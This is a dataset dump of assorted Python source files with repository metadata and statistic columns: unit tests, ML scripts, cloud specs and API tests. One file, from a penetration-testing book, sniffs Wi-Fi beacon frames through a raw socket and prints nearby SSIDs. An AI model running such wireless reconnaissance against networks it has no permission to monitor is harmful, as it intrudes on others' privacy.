... | 23.318182 | 97 | 0.727096 | 67 | 513 | 5.432836 | 0.507463 | 0.098901 | 0.071429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.191033 | 513 | 21 | 98 | 24.428571 | 0.877108 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.444444 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
96301d68517138c729282658198536f651922501 | 2,411 | py | Python | tests/test_grid.py | jordimarinvalle/tictactoexxl | f20771fcc3d15d4a4baef392bb19b7a59703ee32 | [
"MIT"
] | null | null | null | tests/test_grid.py | jordimarinvalle/tictactoexxl | f20771fcc3d15d4a4baef392bb19b7a59703ee32 | [
"MIT"
] | null | null | null | tests/test_grid.py | jordimarinvalle/tictactoexxl | f20771fcc3d15d4a4baef392bb19b7a59703ee32 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import pytest
from tictactoexxl.grid import Grid
from tictactoexxl.grid import GridPosition
class TestTicTacToeXXLGrid(object):
grid = None
DIM_X = 3
DIM_Y = 3
def setup_method(self, _):
self.grid = Grid(dim_x=self.DIM_X, dim_y=self.DIM_Y)
def test_grid_dimens... | 30.518987 | 76 | 0.683534 | 330 | 2,411 | 4.615152 | 0.181818 | 0.128693 | 0.050558 | 0.02889 | 0.625739 | 0.5522 | 0.403808 | 0.32042 | 0.157584 | 0.157584 | 0 | 0.015201 | 0.236002 | 2,411 | 78 | 77 | 30.910256 | 0.811618 | 0.00871 | 0 | 0.148148 | 0 | 0 | 0.004188 | 0 | 0 | 0 | 0 | 0 | 0.185185 | 1 | 0.203704 | false | 0.018519 | 0.055556 | 0 | 0.425926 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
963130c2c37edbf613fa6a3cae54563dc3714a57 | 2,350 | py | Python | src/ggrc/access_control/utils.py | pbedn/ggrc-core | 12ae4720a430730835f1d02def62c0f6ef453521 | [
"ECL-2.0",
"Apache-2.0"
] | 2 | 2020-08-26T06:56:01.000Z | 2021-07-08T13:56:20.000Z | src/ggrc/access_control/utils.py | pbedn/ggrc-core | 12ae4720a430730835f1d02def62c0f6ef453521 | [
"ECL-2.0",
"Apache-2.0"
] | 4 | 2021-02-02T23:04:30.000Z | 2022-03-02T09:54:47.000Z | src/ggrc/access_control/utils.py | pbedn/ggrc-core | 12ae4720a430730835f1d02def62c0f6ef453521 | [
"ECL-2.0",
"Apache-2.0"
] | 1 | 2016-08-23T10:51:19.000Z | 2016-08-23T10:51:19.000Z | # Copyright (C) 2019 Google Inc.
# Licensed under http://www.apache.org/licenses/LICENSE-2.0 <see LICENSE file>
"""Entry point for all acl handlers.
This package should have the single hook that should handle all acl propagation
and deletion.
"""
import logging
import sqlalchemy as sa
from ggrc import db
from ggr... | 25.543478 | 79 | 0.625106 | 275 | 2,350 | 5.127273 | 0.509091 | 0.053191 | 0.019858 | 0.019858 | 0.113475 | 0.113475 | 0.113475 | 0.113475 | 0.113475 | 0.113475 | 0 | 0.009107 | 0.299149 | 2,350 | 91 | 80 | 25.824176 | 0.846995 | 0.320426 | 0 | 0.038462 | 0 | 0 | 0.100645 | 0 | 0 | 0 | 0 | 0.010989 | 0 | 1 | 0.038462 | false | 0 | 0.096154 | 0 | 0.153846 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
9632c7801b3a8c03e63abb85454dd3c8845103fe | 1,482 | py | Python | tests/sharepoint/test_web_hooks.py | theodoriss/Office365-REST-Python-Client | 3bd7a62dadcd3f0a0aceeaff7584fff3fd44886e | [
"MIT"
] | 544 | 2016-08-04T17:10:16.000Z | 2022-03-31T07:17:20.000Z | tests/sharepoint/test_web_hooks.py | theodoriss/Office365-REST-Python-Client | 3bd7a62dadcd3f0a0aceeaff7584fff3fd44886e | [
"MIT"
] | 438 | 2016-10-11T12:24:22.000Z | 2022-03-31T19:30:35.000Z | tests/sharepoint/test_web_hooks.py | theodoriss/Office365-REST-Python-Client | 3bd7a62dadcd3f0a0aceeaff7584fff3fd44886e | [
"MIT"
] | 202 | 2016-08-22T19:29:40.000Z | 2022-03-30T20:26:15.000Z | from datetime import datetime, timedelta
from office365.sharepoint.webhooks.subscription import Subscription
from tests.sharepoint.sharepoint_case import SPTestCase
from office365.sharepoint.lists.list import List
class TestSPWebHooks(SPTestCase):
target_list = None # type: List
target_subscription = None ... | 37.05 | 115 | 0.751687 | 160 | 1,482 | 6.7 | 0.425 | 0.089552 | 0.078358 | 0.089552 | 0.161381 | 0.125 | 0.125 | 0.125 | 0 | 0 | 0 | 0.030571 | 0.161269 | 1,482 | 39 | 116 | 38 | 0.831858 | 0.019568 | 0 | 0.137931 | 0 | 0.034483 | 0.068323 | 0 | 0 | 0 | 0 | 0 | 0.068966 | 1 | 0.206897 | false | 0.034483 | 0.137931 | 0 | 0.482759 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
9634b4c08c623e2e973f8d3e71e9b60636662591 | 667 | py | Python | puzzle3.py | apaku/aoc2016 | 4a0c97f4d0cea260e740b5c4280a9c577b3248c6 | [
"BSD-3-Clause"
] | null | null | null | puzzle3.py | apaku/aoc2016 | 4a0c97f4d0cea260e740b5c4280a9c577b3248c6 | [
"BSD-3-Clause"
] | null | null | null | puzzle3.py | apaku/aoc2016 | 4a0c97f4d0cea260e740b5c4280a9c577b3248c6 | [
"BSD-3-Clause"
] | null | null | null | import sys
def istriangle(listofthree):
(a,b,c) = tuple(listofthree)
return a+b > c and a+c > b and b+c > a
def part1(triangles):
for triangle in triangles:
yield istriangle(map(int, filter(bool, triangle.split(' '))))
def part2(lines):
intlines = [map(int, filter(bool, line.split(' '))) for ... | 30.318182 | 74 | 0.64018 | 94 | 667 | 4.457447 | 0.414894 | 0.095465 | 0.01432 | 0.105012 | 0.176611 | 0.176611 | 0 | 0 | 0 | 0 | 0 | 0.013359 | 0.214393 | 667 | 21 | 75 | 31.761905 | 0.78626 | 0 | 0 | 0.117647 | 0 | 0 | 0.014993 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.058824 | null | null | 0.117647 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
9638beea724c0520ee909f38f2e1aaa0cabca5c6 | 408 | py | Python | Module 2/Chapter 4/Chapter 4/first_ssid_sniffer.py | kongjiexi/Python-Penetration-Testing-for-Developers | 8cfecc3e968e7b063b4f4053dd4e05ea281e81be | [
"MIT"
] | 34 | 2016-11-16T15:37:47.000Z | 2022-01-15T06:19:27.000Z | Module 2/Chapter 4/Chapter 4/first_ssid_sniffer.py | kongjiexi/Python-Penetration-Testing-for-Developers-Code | 8cfecc3e968e7b063b4f4053dd4e05ea281e81be | [
"MIT"
] | null | null | null | Module 2/Chapter 4/Chapter 4/first_ssid_sniffer.py | kongjiexi/Python-Penetration-Testing-for-Developers-Code | 8cfecc3e968e7b063b4f4053dd4e05ea281e81be | [
"MIT"
] | 35 | 2016-10-30T10:13:04.000Z | 2022-03-26T21:36:49.000Z | import socket
import sys, os, signal
sniff = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, 3)
sniff.bind(("mon0", 0x0003))
ap_list =[]
while True :
fm1 = sniff.recvfrom(6000)
fm= fm1[0]
if fm[26] == "\x80" :
if fm[36:42] not in ap_list:
ap_list.append(fm[36:42])
a = ord(fm[63])
print "SSID -> ",fm[64:... | 24 | 60 | 0.602941 | 71 | 408 | 3.394366 | 0.591549 | 0.074689 | 0.074689 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.118343 | 0.171569 | 408 | 16 | 61 | 25.5 | 0.594675 | 0 | 0 | 0 | 0 | 0 | 0.110837 | 0 | 0 | 0 | 0.014778 | 0 | 0 | 0 | null | null | 0 | 0.142857 | null | null | 0.071429 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
963c1d451c1e3355a824cde304ad1794ac8c7342 | 824 | py | Python | swiftbackmeup/items/filesystems/__init__.py | caiobrentano/swiftbackmeup | a1a6813fa6d168db20fc1b63618c3c8c2409b97f | [
"Apache-2.0"
] | null | null | null | swiftbackmeup/items/filesystems/__init__.py | caiobrentano/swiftbackmeup | a1a6813fa6d168db20fc1b63618c3c8c2409b97f | [
"Apache-2.0"
] | null | null | null | swiftbackmeup/items/filesystems/__init__.py | caiobrentano/swiftbackmeup | a1a6813fa6d168db20fc1b63618c3c8c2409b97f | [
"Apache-2.0"
] | 1 | 2020-04-16T03:24:12.000Z | 2020-04-16T03:24:12.000Z | # Copyright 2016 Yanis Guenane <yguenane@redhat.com>
# Author: Yanis Guenane <yguenane@redhat.com>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE... | 32.96 | 74 | 0.745146 | 121 | 824 | 5.008264 | 0.669421 | 0.09901 | 0.066007 | 0.085809 | 0.09571 | 0 | 0 | 0 | 0 | 0 | 0 | 0.01173 | 0.17233 | 824 | 24 | 75 | 34.333333 | 0.876833 | 0.745146 | 0 | 0 | 0 | 0 | 0.020513 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.2 | 0 | 0.6 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
963cb1a1c480bf5564139398fa472ecd7917e8bf | 4,313 | py | Python | Data_Processing_Scripts/FormatTweets.py | kensand/HonorsProject | 219b9b448a41c74f17f89319ef1550878d77e6e0 | [
"Apache-2.0"
] | null | null | null | Data_Processing_Scripts/FormatTweets.py | kensand/HonorsProject | 219b9b448a41c74f17f89319ef1550878d77e6e0 | [
"Apache-2.0"
] | null | null | null | Data_Processing_Scripts/FormatTweets.py | kensand/HonorsProject | 219b9b448a41c74f17f89319ef1550878d77e6e0 | [
"Apache-2.0"
] | null | null | null | import argparse
import getpass
import time
import nltk
import unicodedata
from Library import Database
from Library import FormatTweets
# parse arguments
# note, default database settings can be found in the database file.
parser = argparse.ArgumentParser(prog='FormatTweets',
usage='p... | 66.353846 | 264 | 0.694412 | 607 | 4,313 | 4.828666 | 0.250412 | 0.039918 | 0.075401 | 0.026612 | 0.249744 | 0.186626 | 0.143978 | 0.12146 | 0.073695 | 0.064824 | 0 | 0.001143 | 0.1885 | 4,313 | 65 | 264 | 66.353846 | 0.836286 | 0.037793 | 0 | 0 | 0 | 0.083333 | 0.441468 | 0.005069 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.145833 | 0.145833 | 0 | 0.145833 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
9645efba3a5012a34483cac842db66e7325d5909 | 3,311 | py | Python | english_toxic_monolingual.py | praj000/Kaggle-Toxic-commnets | fea038415adbbd3888b77b19dd632fc9c1e222cf | [
"MIT"
] | 2 | 2020-07-07T11:09:11.000Z | 2020-07-07T12:00:13.000Z | english_toxic_monolingual.py | praj000/Kaggle-Toxic-commnets | fea038415adbbd3888b77b19dd632fc9c1e222cf | [
"MIT"
] | null | null | null | english_toxic_monolingual.py | praj000/Kaggle-Toxic-commnets | fea038415adbbd3888b77b19dd632fc9c1e222cf | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""English_toxic_monolingual.ipynb
Automatically generated by Colaboratory.
Original file is located at
https://colab.research.google.com/drive/1KFxLu9j3lEAshCWmxT_oQPI24JLjnSC4
"""
from google.colab import drive
drive.mount("/content/PRJ")
import pandas as pd
import numpy as np
import m... | 25.666667 | 92 | 0.652975 | 541 | 3,311 | 3.942699 | 0.395564 | 0.032818 | 0.054852 | 0.030005 | 0.099391 | 0.099391 | 0.085326 | 0.085326 | 0.085326 | 0.085326 | 0 | 0.032061 | 0.161583 | 3,311 | 129 | 93 | 25.666667 | 0.736311 | 0.061311 | 0 | 0.058252 | 1 | 0 | 0.102192 | 0.022566 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.126214 | 0 | 0.126214 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
9648dde90bfda77e2586cd7dc7dfa3c6a5e25a7d | 4,133 | py | Python | src/generated-spec/lake_formation.py | wheerd/cloudformation-to-terraform | 5411b33293e1f7d7673bb5d4cb52ff0537240db3 | [
"MIT"
] | null | null | null | src/generated-spec/lake_formation.py | wheerd/cloudformation-to-terraform | 5411b33293e1f7d7673bb5d4cb52ff0537240db3 | [
"MIT"
] | null | null | null | src/generated-spec/lake_formation.py | wheerd/cloudformation-to-terraform | 5411b33293e1f7d7673bb5d4cb52ff0537240db3 | [
"MIT"
] | null | null | null | from . import *
class AWS_LakeFormation_Permissions_DataLocationResource(CloudFormationProperty):
def write(self, w):
with w.block("data_location_resource"):
self.property(w, "S3Resource", "s3_resource", StringValueConverter())
class AWS_LakeFormation_DataLakeSettings_DataLakePrincipal(CloudFormationProp... | 40.519608 | 129 | 0.771353 | 420 | 4,133 | 7.330952 | 0.166667 | 0.119519 | 0.140305 | 0.050666 | 0.585905 | 0.409224 | 0.409224 | 0.409224 | 0.350763 | 0.302371 | 0 | 0.00055 | 0.119768 | 4,133 | 101 | 130 | 40.920792 | 0.845794 | 0.021534 | 0 | 0.410959 | 0 | 0 | 0.221149 | 0.117632 | 0 | 0 | 0 | 0.009901 | 0 | 1 | 0.164384 | false | 0.013699 | 0.013699 | 0 | 0.506849 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
96493c091d7beacb60d89ebe12cb805a83774777 | 4,944 | py | Python | lesson10/regularization/regularization_with_numpy.py | BaiduOSS/PaddleTutorial | d71136c105b78b57c5df1fe98e19e2fd8ee65045 | [
"Apache-2.0"
] | 33 | 2018-03-18T08:56:11.000Z | 2022-01-06T14:43:54.000Z | lesson10/regularization/regularization_with_numpy.py | weiexcelpro/DeepLearningAndPaddleTutorial | 01efade3b02204042b771aeecd887e320b5e10a1 | [
"Apache-2.0"
] | 5 | 2017-12-06T12:40:59.000Z | 2019-07-05T08:47:48.000Z | lesson10/regularization/regularization_with_numpy.py | weiexcelpro/DeepLearningAndPaddleTutorial | 01efade3b02204042b771aeecd887e320b5e10a1 | [
"Apache-2.0"
] | 43 | 2017-12-06T12:51:16.000Z | 2022-01-06T14:44:00.000Z | #!/usr/bin/env python
# -*- coding:utf-8 -*-
"""
Authors: xiake(kedou1993@163.com)
Date: 2017/11/29
"""
import matplotlib.pyplot as plt
import utils
# 绘图相关设置
plt.rcParams['image.interpolation'] = 'nearest'
plt.rcParams['image.cmap'] = 'gray'
def model(X, Y, model_name="_without_regularization",
... | 29.428571 | 79 | 0.627023 | 602 | 4,944 | 4.951827 | 0.29402 | 0.036229 | 0.0369 | 0.040255 | 0.451526 | 0.419658 | 0.419658 | 0.392821 | 0.355921 | 0.322375 | 0 | 0.034106 | 0.258697 | 4,944 | 167 | 80 | 29.60479 | 0.779263 | 0.082727 | 0 | 0.384615 | 0 | 0 | 0.115008 | 0.017793 | 0 | 0 | 0 | 0 | 0.010989 | 0 | null | null | 0 | 0.021978 | null | null | 0.10989 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
964f89890f31c3b6ecdc8c1b962cfdd6d65ff0c1 | 1,127 | py | Python | profiles_api/serializers.py | rshalem/REST_API_Course | 284224a020f997232bf65750ecafc99f42c7c9c0 | [
"MIT"
] | null | null | null | profiles_api/serializers.py | rshalem/REST_API_Course | 284224a020f997232bf65750ecafc99f42c7c9c0 | [
"MIT"
] | null | null | null | profiles_api/serializers.py | rshalem/REST_API_Course | 284224a020f997232bf65750ecafc99f42c7c9c0 | [
"MIT"
] | null | null | null | from rest_framework.serializers import ModelSerializer
from profiles_api.models import UserProfile, ProfileFeedItem
class UserProfileSerializer(ModelSerializer):
"""serializes a user profile object"""
class Meta:
model = UserProfile
fields = ('id', 'email', 'name', 'password')
extra_... | 30.459459 | 107 | 0.60071 | 109 | 1,127 | 6.055046 | 0.541284 | 0.078788 | 0.042424 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.292813 | 1,127 | 37 | 108 | 30.459459 | 0.828105 | 0.138421 | 0 | 0.153846 | 0 | 0 | 0.139121 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.038462 | false | 0.153846 | 0.076923 | 0 | 0.307692 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
965200d6df48c05fe86026c0af9de51f0cae9e2a | 837 | py | Python | src/turbo_allauth/urls.py | hotwire-django/django-turbo-allauth | ce45ae042d7a5e8915aae35fd812d886b584c9ff | [
"MIT"
] | 6 | 2021-01-04T16:27:51.000Z | 2022-03-04T02:50:14.000Z | src/turbo_allauth/urls.py | hotwire-django/django-turbo-allauth | ce45ae042d7a5e8915aae35fd812d886b584c9ff | [
"MIT"
] | 1 | 2021-01-25T20:35:40.000Z | 2021-02-02T19:40:44.000Z | src/turbo_allauth/urls.py | hotwire-django/django-turbo-allauth | ce45ae042d7a5e8915aae35fd812d886b584c9ff | [
"MIT"
] | null | null | null | from django.urls import include, path, re_path
from .views import account, socialaccount
urlpatterns = [
path("login/", account.login, name="account_login",),
path("signup/", account.signup, name="account_signup",),
path("password/change/", account.password_change, name="account_change_password",),
pa... | 41.85 | 87 | 0.689367 | 102 | 837 | 5.441176 | 0.284314 | 0.138739 | 0.072072 | 0.086486 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005495 | 0.130227 | 837 | 19 | 88 | 44.052632 | 0.756868 | 0 | 0 | 0 | 0 | 0.058824 | 0.362007 | 0.160096 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.352941 | 0.117647 | 0 | 0.117647 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
96581aaacd99fb4c32b3c5e6cfdb1ea33a021ba2 | 1,126 | py | Python | tst/test_fft_import_export.py | szymag/ZFN | d617057ee202e5ac026eb31b8a9598c95b385ba0 | [
"MIT"
] | 2 | 2016-09-13T06:19:40.000Z | 2017-02-24T21:41:07.000Z | tst/test_fft_import_export.py | szymag/ZFN | d617057ee202e5ac026eb31b8a9598c95b385ba0 | [
"MIT"
] | 3 | 2015-11-19T06:28:30.000Z | 2016-06-26T19:46:53.000Z | tst/test_fft_import_export.py | szymag/ZFN | d617057ee202e5ac026eb31b8a9598c95b385ba0 | [
"MIT"
] | 2 | 2015-11-17T14:46:58.000Z | 2017-10-31T21:35:15.000Z | import logging
import os
import unittest
import numpy as np
from src.eig_problem.LoadFFT import LoadFFT2D
logging.basicConfig(format='%(levelname)s:%(message)s',
filename='./log/test_fft_export_import.log',
filemode='w',
level=logging.DEBUG)
class TestF... | 32.171429 | 88 | 0.650089 | 148 | 1,126 | 4.736486 | 0.47973 | 0.078459 | 0.092725 | 0.045649 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008009 | 0.223801 | 1,126 | 34 | 89 | 33.117647 | 0.79405 | 0 | 0 | 0 | 0 | 0 | 0.185778 | 0.069333 | 0 | 0 | 0 | 0 | 0.043478 | 1 | 0.043478 | false | 0 | 0.521739 | 0 | 0.652174 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
966596dc35529bdc5c866948a6a43e5dd45d279e | 915 | py | Python | motion_repr_learning/ae/decode.py | Svito-zar/Speech_driven_gesture_generation_with_autoencoder | dd69e2049fe499aa5c0384881b13f0fdc7aca79a | [
"Apache-2.0"
] | 1 | 2021-08-13T17:31:28.000Z | 2021-08-13T17:31:28.000Z | motion_repr_learning/ae/decode.py | Svito-zar/Speech_driven_gesture_generation | dd69e2049fe499aa5c0384881b13f0fdc7aca79a | [
"Apache-2.0"
] | null | null | null | motion_repr_learning/ae/decode.py | Svito-zar/Speech_driven_gesture_generation | dd69e2049fe499aa5c0384881b13f0fdc7aca79a | [
"Apache-2.0"
] | null | null | null | """
This file contains a usage script, intended to test using interface.
Developed by Taras Kucherenko (tarask@kth.se)
"""
import train as tr
import utils.data as dt
import utils.flags as fl
from learn_dataset_encoding import create_nn, prepare_motion_data
import numpy as np
import sys
DATA_DIR = sys.argv[1]
TEST_F... | 22.317073 | 129 | 0.733333 | 141 | 915 | 4.489362 | 0.496454 | 0.033175 | 0.053712 | 0.053712 | 0.088468 | 0.088468 | 0.088468 | 0 | 0 | 0 | 0 | 0.004011 | 0.182514 | 915 | 40 | 130 | 22.875 | 0.842246 | 0.208743 | 0 | 0 | 0 | 0 | 0.011236 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0.111111 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
96675bb5a112cfd522f43cd2ffbc0439c44b015d | 12,092 | py | Python | apptools/apptools-manifest-tests/ge_manifest.py | zhuyongyong/crosswalk-test-suite | 24f3f8cfa663a365b0a22685d5bd096a637f72db | [
"BSD-3-Clause"
] | null | null | null | apptools/apptools-manifest-tests/ge_manifest.py | zhuyongyong/crosswalk-test-suite | 24f3f8cfa663a365b0a22685d5bd096a637f72db | [
"BSD-3-Clause"
] | null | null | null | apptools/apptools-manifest-tests/ge_manifest.py | zhuyongyong/crosswalk-test-suite | 24f3f8cfa663a365b0a22685d5bd096a637f72db | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python
#
# Copyright (c) 2016 Intel Corporation.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of works must retain the original copyright notice, this
# list of conditions and t... | 42.879433 | 151 | 0.535726 | 1,363 | 12,092 | 4.711665 | 0.215701 | 0.091093 | 0.05559 | 0.024914 | 0.44877 | 0.374338 | 0.250078 | 0.216288 | 0.177359 | 0.143725 | 0 | 0.004272 | 0.303176 | 12,092 | 281 | 152 | 43.032028 | 0.757892 | 0.137694 | 0 | 0.304545 | 0 | 0 | 0.173675 | 0.049745 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.018182 | null | null | 0.109091 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
966de5ed9590323db5e14c0c3e0e6ea3c7060a91 | 3,774 | py | Python | tests/test_api_user.py | rlclaro/zebrands-restful-apis | 03340a0edb2561d4de345ebcbaec6d6c0e542ec4 | [
"MIT"
] | null | null | null | tests/test_api_user.py | rlclaro/zebrands-restful-apis | 03340a0edb2561d4de345ebcbaec6d6c0e542ec4 | [
"MIT"
] | null | null | null | tests/test_api_user.py | rlclaro/zebrands-restful-apis | 03340a0edb2561d4de345ebcbaec6d6c0e542ec4 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import datetime
import json
import requests
from catalog.model.user import User, UserSchema
def test_get_user():
"""
Test for get_user
:return:
"""
try:
login = requests.post('http://127.0.0.1:5000/login', data={}, auth=('adminApi@gmail.com', 'zaq1ZAQ!'))
... | 37.366337 | 119 | 0.561208 | 459 | 3,774 | 4.518519 | 0.1939 | 0.037126 | 0.04243 | 0.047734 | 0.655738 | 0.655738 | 0.655738 | 0.647059 | 0.64513 | 0.621987 | 0 | 0.053552 | 0.272655 | 3,774 | 100 | 120 | 37.74 | 0.702004 | 0.064653 | 0 | 0.577465 | 0 | 0 | 0.219357 | 0 | 0 | 0 | 0 | 0 | 0.112676 | 1 | 0.056338 | false | 0.028169 | 0.056338 | 0 | 0.112676 | 0.112676 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
967341ba81119342fe21c6a8e584284daa326700 | 7,519 | py | Python | suites/DatabaseApi/Accounts/GetAccountByAddress.py | dbulka/pytests | d2658cff3832293cb1b8abcd970f7df83a2b5035 | [
"MIT"
] | null | null | null | suites/DatabaseApi/Accounts/GetAccountByAddress.py | dbulka/pytests | d2658cff3832293cb1b8abcd970f7df83a2b5035 | [
"MIT"
] | null | null | null | suites/DatabaseApi/Accounts/GetAccountByAddress.py | dbulka/pytests | d2658cff3832293cb1b8abcd970f7df83a2b5035 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import lemoncheesecake.api as lcc
from lemoncheesecake.matching import check_that, is_true, is_, require_that
from common.base_test import BaseTest
SUITE = {
"description": "Method 'get_account_by_address'"
}
@lcc.prop("main", "type")
@lcc.prop("positive", "type")
@lcc.tags("api", "datab... | 47.89172 | 111 | 0.64357 | 858 | 7,519 | 5.216783 | 0.145688 | 0.075514 | 0.053619 | 0.089366 | 0.741063 | 0.708222 | 0.664433 | 0.615505 | 0.595398 | 0.566801 | 0 | 0.003415 | 0.260008 | 7,519 | 156 | 112 | 48.198718 | 0.801042 | 0.002793 | 0 | 0.592308 | 0 | 0 | 0.214648 | 0.057364 | 0 | 0 | 0 | 0 | 0 | 1 | 0.061538 | false | 0 | 0.023077 | 0 | 0.1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
